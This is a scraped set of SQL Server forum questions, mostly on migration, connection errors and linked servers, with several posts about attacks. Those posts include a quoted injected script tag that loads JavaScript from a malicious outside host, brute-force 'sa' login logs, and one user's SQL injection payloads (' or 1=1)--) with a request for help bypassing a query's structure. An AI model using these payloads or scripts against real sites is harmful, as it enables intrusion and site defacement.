SQL Server Attack ???
May 15, 2008
Hi
Recently we moved our site from Access to MS SQL Server 2005 Express on a dedicated server.
Guess what.... we came under some attack (may be SQL injection).
Our database was manipulated and data's in some field were replaced by "<script src=http://9i5t.cn/a.js></script>"
We don't know how it was done .. then i googled around to find any clue . too my surprise i found around 30,000 sites which were affected by this / have a look
http://www.google.com/search?hl=en&q=%22http%3A%2F%2F9i5t.cn%2Fa.js%22&btnG=Search
And also an interest fact popped up also sites where in ASP
But unfortunately no documentation was available for it ...
So i wonder if their is any flaw in coding or database permission .. 30,000 webmaster can't go wrong. May be their is security flaw either in SQL Server 2005 or ASP .. can't say
As of now i have cleared my database using find and replace function. But i know we might me soon be under attack again
Please help me out find out exact reason for it ..
Thanks in advance
Suraj jain
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Dec 27, 2006
Hello Every one,
can any one please let me know what is below mentioned errors i found on my newly installed sql server and also let me know severiarity of this and if you know the solution for this i would wel come all your suggestion.
12/24/2006 05:48:47,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:45,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:45,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:44,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:44,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:41,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:41,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:28,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:28,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:27,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:27,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
since last so many days i found that these kind of errors on sql server 2005.It occurs contineously so it keeps server busy all the time.
I have attached a portion of this error log.Thanks for all your help and the time you took to look at my question.
Thanks,
Bharat.
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Nov 3, 2007
Hi all,
I have a case of sqlslammer.worm virus on my DB server. I have run Mcafee antivirus software but the virus cannot be removed.
Please can anyone tell me how to getit off my server?
Leonard
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May 8, 2008
Hi,
I need to find out what sql injection attack is, what it does how it is done and how to protect form it....Any through explanation will be much appreciated.
Thanks
Kabir
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Aug 18, 2006
hi,
Hope everybody is fine.Well,today I want to know the smartest ways to prevent sql injection attacks.It would be really helpful if anybody gives light to it.
Thanks!!
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Jul 23, 2005
All,I am trying to test an attack against a web page. The VBScript runs 2queries against the database; the first must succeed before the secondruns. Here is the code:1st-select * from users where (userid=' + @string + ') and password=' +@pwdstring + '2nd-select * from permissions where userid=' + @string + 'When attempting the attack the problem lies in the "(" & ")"surrounding the first userid string in the 1st query. if I attempt toput a ")" in the original @string function to cancel out the first "("it then causes problems for the second string. Also, the @pwdstringgets encrypted before it is sent to the SQL Server, so attempting theattack from that field is useless.For instance:@string = ' or 1=1)--@pwdstring = blank (becomes @pwdstring = 55-12-567-3244-123 due toencryption)select * from users where (userid='' or 1=1)--') andpassword='55-12-567-3244-123' WORKS OKselect * from permissions where userid='' or 1=1)--' DOES NOT WORKIs this an instance where the original developers made a happy codingerror (I asked and preventing injection attacks wasn't intended) or isthere something I can do to circumvent this?Thanks,josh
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Oct 22, 2007
Hi to all,
Im looking at the sql server log, and I see a strange behavior.
Im getting at least 5 "sa" login attempts from an sepcific IP address.
How can I avoid this, lock that IP or add a delay to 'sa' failed logins?
Thanks so much
Cristian
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Nov 3, 2005
In the Application event log I am seeing entries like the
following:
Login failed for user 'sa'. [CLIENT: 60.32.67.85]
Once
every second.
I am assuming this is a brute force password attack, an
ARIN query of the IP address indicates it's from:
Asia Pacific Network Information CentreIs there any way to block this IP from accessing my server?Thanks,Tylerp.s. I tried posting this on MSDN forums, but the site appears to be broken.
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Jan 19, 2007
Hello all,
I have a question on whether the following stored precedure would be open to an SQL Injection attack. Assume that a string query would be passed to the SP.
I am told that because the password parameter is only varchar(8) that it is safe.
Can someone prove this wrong?
Thanks....
I have added sample code below.
CREATE TABLE [dbo].[JB_Test](
[Name] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Name] DEFAULT (''),
[Email] [varchar](100) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Email] DEFAULT (''),
[Password] [varchar](8) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Password] DEFAULT (''),
) ON [PRIMARY]
GO
Insert dbo.JB_Test (Name, Email, Password )
values ('John', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Paul', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Geroge', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Ringo', 'asdf@asdf.com', '2345')
GO
Create procedure dbo.JB_Test_Login
@Username varchar(100),
@Password varchar(8)
AS
select Name
from dbo.JB_Test
where Name = @Username
and Password = @Password
GO
--Clean Up Your Mess
--Drop procedure dbo.JB_Test_Login
--GO
--Drop Table dbo.JB_Test
--GO
JBelthoff
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› As far as myself... I do this for fun!
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Feb 16, 2005
I like this forum but recently I have noticed they are running ads with sound effects.
I like a lot of programmers I know listen to music through their computer with headphones on all day. Whenever one of those adds fire off it about scares the BeJesus of me and comes through louder than the music. I am playing with my settings but I each time I find one that kills the sound effects it kills the music too.
Starting to make me mad.
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Apr 20, 2007
My server is a dual AMD x64 2.19 GHz with 8 GB RAM running under Windows Server 2003 Enterprise Edition with service pack 1 installed. We have SQL 2000 32-bit Enterprise installed in the default instance. AWE is enabled using Dynamically configured SQL Server memory with 6215 MB minimum memory and 6656 maximum memory settings.
I have now installed, side-by-side, SQL Server 2005 Enterprise Edition in a separate named instance. Everything is running fine but I believe SQL Server2005 could run faster and need to ensure I am giving it plenty of resources. I realize AWE is not needed with SQL Server 2005 and I have seen suggestions to grant the SQL Server account the 'lock pages in memory' rights. This box only runs the SQL 2000 and SQL 2005 server databases and I would like to ensure, if possible, that each is splitting the available memory equally, at least until we can retire SQL Server 2000 next year. Any suggestions?
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Aug 10, 2007
Hi,
We have an old machine which holds SQL server 2000 database. We need to migrate a whole database to a new machine which has SQL server 2005.
When we tried to move whole database using Import and Export Wizard, only tables can be selected to import/export. However we want to import/export the whole database, including tables, stored procedure, view, etc. Which tool should we use?
Thanks.
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Aug 10, 2007
Hi,
We have an old machine which holds SQL server 2000 database. We need to migrate a whole database to a new machine which has SQL server 2005.
When we tried to move whole database using Import and Export Wizard, only tables can be selected to import/export. However we want to import/export the whole database, including tables, stored procedure, view, etc. Which tool should we use?
Thanks.
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Jun 6, 2007
Hi,
When I am trying to access SQL Server 2000 database from another machine i got this error
Server: MSg 17, Level 16, State 1 [Microsoft][ODBC SQL Server Driver][DBNETLIB]SQL Server does not exist or access denied
but I could access the database on same server and in that server i could access other databases in different server.
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Feb 13, 2008
When I proposed start to use SQL Server 2005 for new VS 2005 web sites, one of my co-workers responded that
we will update the old SQL Server 2000 databases to SQL Server 2005 when we are ready to use 2005 SQL Server.
Questions:
1. Any expected problems to upgrade old 2000 databases to new 2005 SQL Server?
2. I have installed both 2005/Management Studio Express and 2000/Enterprise Manager in my PC. Any expected
problems when running both 2000 and 2005 SQL Server at the same database server?
3. What is the best configuration for running SQL Server 2005 when we have old 2000 databases? Upgade or not upgrade?
TIA,
Jeffrey
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Oct 20, 2007
I am getteing
need help
Query analyzer error Unable to connect server local Msg17, level 16,state 1
ODBC SQL server driver [DBNETLIB]SQL server does not exist
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Apr 3, 2008
Hi,
I am having a problem connecting my .net applications from the application server to the database server. When I run the application from my windows xp (sp2) box it works fine. When I try to connect via SQL Management Studio to the database server from the application server I get the same error.
Here is the error:
System.Data.SqlClient.SqlException: An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server)
Here is the Environment:
App Server:
Windows Server 2003 Standard Edition
Inside Company's Firewall/ Network
Database Server:
Windows Server 2000 Advanced Edition
SQL Server 2000 SP4
Remote Connections to the Server is checked
Enable Protocols: Named Pipes & TCP/IP
TCP/IP Port: 1402 (I don't know why it isn't the default of 1433)
The db server is sitting out side the Company's firewall (don't ask me why). I can access it fine from inside the firewall on my XP box but not from windows server 2003. There is a web server outside the our network that also connects to the db server with no problem and that is running Windows Server 2003 Web Edition.
I can ping the db server from the app server using the IP address.
I tried using the IP address and the port 1402 in my connection string but that didn't work from any machine (XP and Server).
I imagine the issue is somehow related to the company's firewall but why would it only block Windows Server 2003 and not XP?
What do I tell the network admin to change?
Any help would be appreciated.
Thanks,
Oran
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Jan 4, 2013
if you can restore a database to Server B using Server A as the service. Meaning we would issue the command on Server A but somehow point to Server B as where we want the restore to happen.
The backup file would be in a location independent of both servers.
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Jul 23, 2005
Dear all,On Win2000 server with SP3, I am trying to access a SQL Server 7.0database, "TestDB", from VB6 via a SQL Server ODBC system DSN using ADO2.7. In SQL Server Enterprise Manager, there is a login named "Tester".In its property window, NO "Server Roles" was assigned but its"Database Access" was set to "TestDB". This login was also made as theuser of "TestDB" with "public", "db_datareader" and "db_datawriter"selected as its "Database role membership". All the tables I am tryingto access in "TestDB" were created under "Tester".My code is like:Set conn = New ADODB.Connectionconn.Open "DSN=TestDSN;UID=Tester;PWD=test"Set cmd = New ADODB.Commandcmd.ActiveConnection = conncmd.CommandText = SQLset rs = cmd.Execute()If I set the SQL to something like "SELECT * FROM tbl_test", I alwaysget an error of "-2147217865" saying "[Microsoft][ODBC SQL ServerDriver][SQL Server] Invalid object name tbl_test". If I set the SQL to"SELECT * FROM Tester.tbl_test", everything runs properly. Could anyoneplease kindly advise why the first SQL is not working? Or in otherwords, why must I prefix the table name with its owner while the DBconnection is already made under that owner name? Thanks in advance.Tracy
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Sep 20, 2006
When I try to migrate a database on a SQL Server 2000 server to a SQL Server 2005 server with the Copy Database Wizard of the SQL Server Management Studio, I'm confronted with the following problem;
Performing operation...
- Add log for package (Success)
- Add task for transferring database objects (Success)
- Create package (Success)
- Start SQL Server Agent Job (Success)
- Execute SQL Server Agent Job (Error)
Messages
* The job failed. Check the event log on the destination server for details. (Copy Database Wizard)
When I take a look at 'Event viewer' on the SQL 2005 server, the following error is displayed;
InnerException-->An error has occurred while establishing a connection to the server.
When connecting to SQL Server 2005,
this failure may be caused by the fact
that under the default settings SQL Server does not allow remote connections.
(provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server)
I already enabled the MSSQLSERVER network configuration protocols (TCP/IP and Named Pipes ).
How do I solve this problem?
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Jan 22, 2008
My site works fine in VWD2008 express, but I get this error when I try to use it on my live website.
An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections.
According to this article: http://support.microsoft.com/kb/914277 I am supposed to:
1.
Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Surface Area Configuration.
Ok, there is no such program in this folder. The only thing in there is "SQL Server Error and Usage Reporting"...
The other thing I am greatly concerned with is this: All is want is for my webpages to be able to access my database for user authentication. I DO NOT want to grant the internet rights to remote connect to my database.
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Mar 24, 2008
Hi All,
Please some one help me...
I have to insert a csv into one table in sql server. But the problem is the file is in one server and SQL SERVER 2005 is in other server..
how do i insert the file....
please help me.....
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May 31, 2006
Hi Guys,
I have had SQL Server Express and Sql Server Management Studio Express installed on my machine for some time and recently tried to install a trial of SQL Server 2005 as well. (Yes, I'm migrating from Visual Studio Express to Visual Studio Professional, just as in tended!)
Everything went fine except that nothing seemed to be installed. I searched in all the obvious places - both on the Start/Programs menu and on the hard-drive: nothing.
A check under Add/Remove Programs showed that Sql Server 2005 Express was installed, but called SQL Server 2005.
So after a number of retries in which the install program kept saying that there was nothing to install, I selected every option under Advanced in the intall process. This resulted in stuff being installed and I now have SQL Server 2005 running on my machine, but no SQL Server Manager icon.
My questions are:
Where can I find the SQL Server Manager executeable?
Has anyone installed SQL Server Express, SQL Server Mangement Studio Express, SQL Server 2005 and SQL Server Management Studio on a single machine successfully? If so, what order did you install them in? (I'm planning on uninstalling everything SXQL Server related and starting again.)
Thanks very much for your help.
Regards
Gary
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Jul 23, 2005
Hi,Is it possible to install on a Windows server 2003,SQL SERVER 2000 in the folowing configuration :SQL server 7.0 as a default InstanceandSQL server 2000 as a named instance.Thanks for your answer.
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May 4, 2007
Hi
I have created a linked server from SQL Server 2005 (SP 1) to SQL Service 2000 (SP 4) with a sql server login that is available on both servers but with different passwords and permissions.
I am getting the following error while accessing the linked server in management studio based on the scenario given below ;
------ Error Message Starts
OLE DB provider "SQLNCLI" for linked server "(SQL Server 2000 instance name)" returned message "Communication link failure".
Msg 10054, Level 16, State 1, Line 0
TCP Provider: An existing connection was forcibly closed by the remote host.
Msg 18456, Level 14, State 1, Line 0
Login failed for user 'abc'.
------ Error Message Ends
Consider login name is abc.
Now this login abc has sysadmin rights on sql server 2005.
The same login abc has only db_datareader rights on sql server 2000 on just one database and is not associated with any fixed server role.
I have configured the linked server using the following options;
1. I have tried impersonating login from SQL Server 2005 to SQL Server 2000 .
2. I have also tried specifying remote login / password option.
Anyone having any idea, would be of great help.
Regards,
Salman Shehbaz.
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Jul 22, 2007
i did "Linked server" between To Servers , and it's Working.
---------------------------
For Example :
Server 1 =S1.
Server = S2.
i create table in S1 : name = TblS1
i create same table in S2 : name TblS2
and i create trigger(name tr_cpD) From S1 in TblS1 For send data To TblS2 in S2
/****************** trigger Code ***************
CREATE TRIGGER dbo.tr_cpD
ON dbo.TblS1
AFTER INSERT
AS
BEGIN
SET NOCOUNT ON;
insert into [S2].[dbname].[dbo].[TblS2] Select ID,Name from insertedEND
**************************************************
result is :
Msg 7399, Level 16, State 1, Procedure tr_cpD, Line 14
The OLE DB provider "SQLNCLI" for linked server "S2" reported an error. The provider did not give any information about the error.
Msg 7312, Level 16, State 1, Procedure tr_cpD, Line 14
Invalid use of schema or catalog for OLE DB provider "SQLNCLI" for linked server "S2". A four-part name was supplied, but the provider does not expose the necessary interfaces to use a catalog or schema.
how i can execute this trigger
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Feb 7, 2008
Hello,
I have an intranet environment consists of two servers:
- An application server windows 2003 server with 64-bit server Sharepoint 2007 SP1 (Standard version for search)
- A database server windows 2003 server with 64-bit SQL Server 2005 SP2 64-bit (Standard - 9.0.3054)
It happens regularly that the database server crash (frozen black screen) while the application server indexes (crawl) the content of the intranet site based on sharepoint. There is no alert / error in the observer of events, nor in the sql logs.
The crash is uncertain: dice once all goes well, soon after that crash. When i set the parameter search service (service management research), I can define a regulatory impact of the robot to change the number of documents at the same time : "Request 2 documents at the same time, the crash is more rare, "ask 64 documents at a time, the crash is more common.
My Intranet under sharepoint is composed of a collection site with a dozen sub-sites. There are 3 large library of PDF document. All done in the 4 go in terms of volume.
My problem for about 3-4 months. (Maybe more. Before, indexing was not yet in place).
Someone could help me? Thank you
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Apr 18, 2007
Can I connect from a SQL Server 2005 database to a SQL Server 2000 database, without establishing a linked server connection.
I need to fire a SELECT query on a SQL Server 2000 database, but don't want to add it as a linked server. Is there any way I can do this or its not possible??
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Apr 15, 2008
Hi all,
Please tell me about difference between SQL Server 2005 and SQL Server 2008 SSRS(Sql Server report)
Why to upgrade for Sql Server 2008
Thanks,
Ashok
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Dec 28, 2005
I have a Sybase Adaptive Server Enterprise server which I need to set up as a linked server in SQL Server 2005. The Sybase server is version 12.5.2, and the Sybase ODBC driver version is 4.20.00.67. I have already installed the Sybase client software on the server.
I also created a SystemDSN on the SQL Server to connect to the Sybase server. I tested the connection and it was able to connect.
I ran the following code to create the linked server:
<code>
EXEC master.dbo.sp_addlinkedserver @server = N'LinkedServerName', @srvproduct=N'Sybase', @provider=N'MSDASQL', @datasrc=N'Sybase System DSN', @provstr=N'"Provider=Sybase.ASEOLEDBProvider;Server Name=servername,5000;Initial Catalog=databasename;User Id=username;Password=password"'
</code>
I then ran sp_tables_ex to make sure I could view the tables in the Sybase database. Here is the error message I get:
<code>
OLE DB provider "MSDASQL" for linked server "LinkedServerName" returned message "[DataDirect][ODBC Sybase Wire Protocol driver]Error parsing connect string at offset 13. ".
Msg 7303, Level 16, State 1, Procedure sp_tables_ex, Line 41
Cannot initialize the data source object of OLE DB provider "MSDASQL" for linked server "LinkedServerName".
</code>
Any ideas what is happening here?
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Dec 10, 2007
I get the following error and have been trying to figure out why I keep getting it. Initially, I had placed my project under wwwroot folder and ran it under IIS and it gave this error. Then I moved it to my local C drive and same thing. I am sharing this project with two other co-workers and all our config files and code files are same...they don't get this error but I do. I checked that SQL Server Client Network Utility has TCP/IP and the 'Named Pipes' enabled. I thought maybe I have setting in the Visual Studio 2005 that I'm not aware of that's causing this problem...it can't be the server since my co-workers aren't having this error and can't be anything in the code since all of us are sharing this project through vss. I dont' think using different version of .net framework can create this error. I changed the version from 2.0 to use 1.1x and it gave same error... Any help would be greatly appreciated. Thanks in advance.
Server Error in '/RBOdev' Application.
An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified)
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. Exception Details: System.Data.SqlClient.SqlException: An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified)Source Error:
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below. Stack Trace:
[SqlException (0x80131904): An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: SQL Network Interfaces, error: 26 - Error Locating Server/Instance Specified)]
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +739123
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +188
System.Data.SqlClient.TdsParser.Connect(ServerInfo serverInfo, SqlInternalConnectionTds connHandler, Boolean ignoreSniOpenTimeout, Int64 timerExpire, Boolean encrypt, Boolean trustServerCert, Boolean integratedSecurity, SqlConnection owningObject) +685966
System.Data.SqlClient.SqlInternalConnectionTds.AttemptOneLogin(ServerInfo serverInfo, String newPassword, Boolean ignoreSniOpenTimeout, Int64 timerExpire, SqlConnection owningObject) +109
System.Data.SqlClient.SqlInternalConnectionTds.LoginNoFailover(String host, String newPassword, Boolean redirectedUserInstance, SqlConnection owningObject, SqlConnectionString connectionOptions, Int64 timerStart) +383
System.Data.SqlClient.SqlInternalConnectionTds.OpenLoginEnlist(SqlConnection owningObject, SqlConnectionString connectionOptions, String newPassword, Boolean redirectedUserInstance) +181
System.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, Object providerInfo, String newPassword, SqlConnection owningObject, Boolean redirectedUserInstance) +170
System.Data.SqlClient.SqlConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningConnection) +130
System.Data.ProviderBase.DbConnectionFactory.CreatePooledConnection(DbConnection owningConnection, DbConnectionPool pool, DbConnectionOptions options) +28
System.Data.ProviderBase.DbConnectionPool.CreateObject(DbConnection owningObject) +424
System.Data.ProviderBase.DbConnectionPool.UserCreateRequest(DbConnection owningObject) +66
System.Data.ProviderBase.DbConnectionPool.GetConnection(DbConnection owningObject) +496
System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) +82
System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) +105
System.Data.SqlClient.SqlConnection.Open() +111
System.Web.DataAccess.SqlConnectionHolder.Open(HttpContext context, Boolean revertImpersonate) +84
System.Web.DataAccess.SqlConnectionHelper.GetConnection(String connectionString, Boolean revertImpersonation) +197
System.Web.UI.WebControls.WebParts.SqlPersonalizationProvider.GetConnectionHolder() +16
System.Web.UI.WebControls.WebParts.SqlPersonalizationProvider.LoadPersonalizationBlobs(WebPartManager webPartManager, String path, String userName, Byte[]& sharedDataBlob, Byte[]& userDataBlob) +195
System.Web.UI.WebControls.WebParts.PersonalizationProvider.LoadPersonalizationState(WebPartManager webPartManager, Boolean ignoreCurrentUser) +95
System.Web.UI.WebControls.WebParts.WebPartPersonalization.Load() +105
System.Web.UI.WebControls.WebParts.WebPartManager.OnInit(EventArgs e) +497
System.Web.UI.Control.InitRecursive(Control namingContainer) +321
System.Web.UI.Control.InitRecursive(Control namingContainer) +198
System.Web.UI.Control.InitRecursive(Control namingContainer) +198
System.Web.UI.Control.InitRecursive(Control namingContainer) +198
System.Web.UI.Control.InitRecursive(Control namingContainer) +198
System.Web.UI.Control.InitRecursive(Control namingContainer) +198
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +692
Version Information: Microsoft .NET Framework Version:2.0.50727.832; ASP.NET Version:2.0.50727.832
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